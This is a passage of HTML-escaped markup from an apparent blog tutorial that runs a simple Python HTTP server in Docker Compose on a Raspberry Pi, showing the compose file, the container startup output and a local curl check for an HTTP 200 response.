&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt;7&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;version&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;3&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;services&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;webapp&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;ports&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f5a97f&#34;&gt;6666&lt;/span&gt;:&lt;span style=&#34;color:#f5a97f&#34;&gt;8000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;image&lt;/span&gt;: python:3.7-alpine
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;command&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;python -m http.server 8000&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Once the file is saved you run it with the following command. The image handles you would see are very likely going to be different and that is OK.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@pi-server2:~/docker/docker-test $ docker-compose up
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Creating network &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;docker-test_default&amp;#34;&lt;/span&gt; with the default driver
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Pulling webapp &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;python:3.7-alpine&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3.7-alpine: Pulling from library/python
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;33b18ff7f9b7: Pull &lt;span style=&#34;color:#91d7e3&#34;&gt;complete&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0c1f90421c3a: Pull &lt;span style=&#34;color:#91d7e3&#34;&gt;complete&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;91543a0ba590: Pull &lt;span style=&#34;color:#91d7e3&#34;&gt;complete&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;913b1310b79e: Pull &lt;span style=&#34;color:#91d7e3&#34;&gt;complete&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;6b545e90ee55: Pull &lt;span style=&#34;color:#91d7e3&#34;&gt;complete&lt;/span&gt;                                                                                             Digest: sha256:9363cb46e52894a22ba87ebec0845d30f4c27efd6b907705ba9a27192b45e797
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Status: Downloaded newer image &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; python:3.7-alpine
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Creating docker-test_webapp_1 ... &lt;span style=&#34;color:#c6a0f6&#34;&gt;done&lt;/span&gt;                                                                                  Attaching to docker-test_webapp_1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;At this point, the image is running in attached mode and it seems like it is waiting, when in reality it is running. If you open another ssh terminal and type in the following command - change the port to whatever you used earlier in the yml file.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@pi-server2:~ $ curl -iv 0.0.0.0:6666&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And if everything is working then you will see a output something like this. And if you see towards the top you got a &lt;code&gt;HTTP 200&lt;/code&gt; - that is all that mattes in this case.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt;19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt;20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt;21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt;22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt;23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt;24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt;25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt;26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt;27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt;28&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;29&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#29&#34;&gt;29&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;30&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#30&#34;&gt;30&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;31&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#31&#34;&gt;31&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;32&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#32&#34;&gt;32&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;33&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#33&#34;&gt;33&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;34&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#34&#34;&gt;34&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;35&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#35&#34;&gt;35&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;36&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#36&#34;&gt;36&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;37&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#37&#34;&gt;37&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;38&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#38&#34;&gt;38&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;39&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#39&#34;&gt;39&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;40&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#40&#34;&gt;40&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;41&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#41&#34;&gt;41&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;42&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#42&#34;&gt;42&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;43&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#43&#34;&gt;43&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;44&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#44&#34;&gt;44&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;45&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#45&#34;&gt;45&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;46&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#46&#34;&gt;46&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;47&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#47&#34;&gt;47&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;48&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#48&#34;&gt;48&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;49&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#49&#34;&gt;49&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;50&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#50&#34;&gt;50&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;51&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#51&#34;&gt;51&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;52&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#52&#34;&gt;52&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;53&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#53&#34;&gt;53&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;54&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#54&#34;&gt;54&lt;/a&gt;
